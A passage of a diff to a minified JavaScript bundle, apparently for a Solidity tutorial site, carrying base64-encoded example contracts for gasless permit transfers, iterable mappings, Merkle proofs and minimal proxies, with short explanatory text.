3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEdhc2xlc3NUb2tlblRyYW5zZmVyIHsKICAgIGZ1bmN0aW9uIHNlbmQoCiAgICAgICAgYWRkcmVzcyB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2VpdmVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZmVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgLy8gUGVybWl0IHNpZ25hdHVyZQogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gUGVybWl0CiAgICAgICAgSUVSQzIwUGVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50ICsgZmVlLCBkZWFkbGluZSwgdiwgciwgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],AA=`

            Gasless ERC20 token transfer with Meta transaction

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2222,7 +2222,7 @@ How to swap tokens
         _mint(to, amount);
     }
 }
-
            `,yA=({prev:s,next:a})=>r.jsx(A,{version:dA,title:CA,description:jA,html:uA,prev:s,next:a,codes:AA}),mA="0.8.24",bA="Iterable Mapping",wA="Iterable Mapping in Solidity",kA=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzW2luZGV4XTsKICAgIH0KCiAgICBmdW5jdGlvbiBzaXplKE1hcCBzdG9yYWdlIG1hcCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAua2V5cy5sZW5ndGg7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0KE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXksIHVpbnQyNTYgdmFsKSBwdWJsaWMgewogICAgICAgIGlmIChtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbWFwLmluc2VydGVkW2tleV0gPSB0cnVlOwogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgICAgIG1hcC5pbmRleE9mW2tleV0gPSBtYXAua2V5cy5sZW5ndGg7CiAgICAgICAgICAgIG1hcC5rZXlzLnB1c2goa2V5KTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlKE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXkpIHB1YmxpYyB7CiAgICAgICAgaWYgKCFtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBkZWxldGUgbWFwLmluc2VydGVkW2tleV07CiAgICAgICAgZGVsZXRlIG1hcC52YWx1ZXNba2V5XTsKCiAgICAgICAgdWludDI1NiBpbmRleCA9IG1hcC5pbmRleE9mW2tleV07CiAgICAgICAgYWRkcmVzcyBsYXN0S2V5ID0gbWFwLmtleXNbbWFwLmtleXMubGVuZ3RoIC0gMV07CgogICAgICAgIG1hcC5pbmRleE9mW2xhc3RLZXldID0gaW5kZXg7CiAgICAgICAgZGVsZXRlIG1hcC5pbmRleE9mW2tleV07CgogICAgICAgIG1hcC5rZXlzW2luZGV4XSA9IGxhc3RLZXk7CiAgICAgICAgbWFwLmtleXMucG9wKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RJdGVyYWJsZU1hcCB7CiAgICB1c2luZyBJdGVyYWJsZU1hcHBpbmcgZm9yIEl0ZXJhYmxlTWFwcGluZy5NYXA7CgogICAgSXRlcmFibGVNYXBwaW5nLk1hcCBwcml2YXRlIG1hcDsKCiAgICBmdW5jdGlvbiB0ZXN0SXRlcmFibGVNYXAoKSBwdWJsaWMgewogICAgICAgIG1hcC5zZXQoYWRkcmVzcygwKSwgMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDEpLCAxMDApOwogICAgICAgIG1hcC5zZXQoYWRkcmVzcygyKSwgMjAwKTsgLy8gaW5zZXJ0CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyB1cGRhdGUKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMyksIDMwMCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG1hcC5zaXplKCk7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIGtleSA9IG1hcC5nZXRLZXlBdEluZGV4KGkpOwogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],ZA=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            +`,uA=({prev:s,next:a})=>r.jsx(A,{version:IA,title:dA,description:CA,html:AA,prev:s,next:a,codes:jA}),yA="0.8.24",mA="Iterable Mapping",bA="Iterable Mapping in Solidity",wA=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzW2luZGV4XTsKICAgIH0KCiAgICBmdW5jdGlvbiBzaXplKE1hcCBzdG9yYWdlIG1hcCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAua2V5cy5sZW5ndGg7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0KE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXksIHVpbnQyNTYgdmFsKSBwdWJsaWMgewogICAgICAgIGlmIChtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbWFwLmluc2VydGVkW2tleV0gPSB0cnVlOwogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgICAgIG1hcC5pbmRleE9mW2tleV0gPSBtYXAua2V5cy5sZW5ndGg7CiAgICAgICAgICAgIG1hcC5rZXlzLnB1c2goa2V5KTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlKE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXkpIHB1YmxpYyB7CiAgICAgICAgaWYgKCFtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBkZWxldGUgbWFwLmluc2VydGVkW2tleV07CiAgICAgICAgZGVsZXRlIG1hcC52YWx1ZXNba2V5XTsKCiAgICAgICAgdWludDI1NiBpbmRleCA9IG1hcC5pbmRleE9mW2tleV07CiAgICAgICAgYWRkcmVzcyBsYXN0S2V5ID0gbWFwLmtleXNbbWFwLmtleXMubGVuZ3RoIC0gMV07CgogICAgICAgIG1hcC5pbmRleE9mW2xhc3RLZXldID0gaW5kZXg7CiAgICAgICAgZGVsZXRlIG1hcC5pbmRleE9mW2tleV07CgogICAgICAgIG1hcC5rZXlzW2luZGV4XSA9IGxhc3RLZXk7CiAgICAgICAgbWFwLmtleXMucG9wKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RJdGVyYWJsZU1hcCB7CiAgICB1c2luZyBJdGVyYWJsZU1hcHBpbmcgZm9yIEl0ZXJhYmxlTWFwcGluZy5NYXA7CgogICAgSXRlcmFibGVNYXBwaW5nLk1hcCBwcml2YXRlIG1hcDsKCiAgICBmdW5jdGlvbiB0ZXN0SXRlcmFibGVNYXAoKSBwdWJsaWMgewogICAgICAgIG1hcC5zZXQoYWRkcmVzcygwKSwgMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDEpLCAxMDApOwogICAgICAgIG1hcC5zZXQoYWRkcmVzcygyKSwgMjAwKTsgLy8gaW5zZXJ0CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyB1cGRhdGUKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMyksIDMwMCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG1hcC5zaXplKCk7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIGtleSA9IG1hcC5nZXRLZXlBdEluZGV4KGkpOwogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],kA=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2307,7 +2307,7 @@ How to swap tokens
         assert(map.getKeyAtIndex(2) == address(2));
     }
 }
-
            `,WA=({prev:s,next:a})=>r.jsx(A,{version:mA,title:bA,description:wA,html:ZA,prev:s,next:a,codes:kA}),BA="0.8.24",GA="Merkle Tree",VA="Learn about Merkle tree in Solidity",fA=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],YA=`

            Merkle tree allows you to cryptographically prove that an element is contained

            +`,ZA=({prev:s,next:a})=>r.jsx(A,{version:yA,title:mA,description:bA,html:kA,prev:s,next:a,codes:wA}),WA="0.8.24",BA="Merkle Tree",GA="Learn about Merkle tree in Solidity",VA=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],fA=`

            Merkle tree allows you to cryptographically prove that an element is contained

            in a set without revealing the entire set.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -2385,7 +2385,7 @@ How to swap tokens
     0x995788ffc103b987ad50f5e5707fd094419eb12d9552cc423bd0cd86a3861433
     */
 }
-
            `,XA=({prev:s,next:a})=>r.jsx(A,{version:BA,title:GA,description:VA,html:YA,prev:s,next:a,codes:fA}),RA="0.8.24",vA="Minimal Proxy Contract",NA="Deploy contracts cheaply with minimal proxy contract",HA=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAg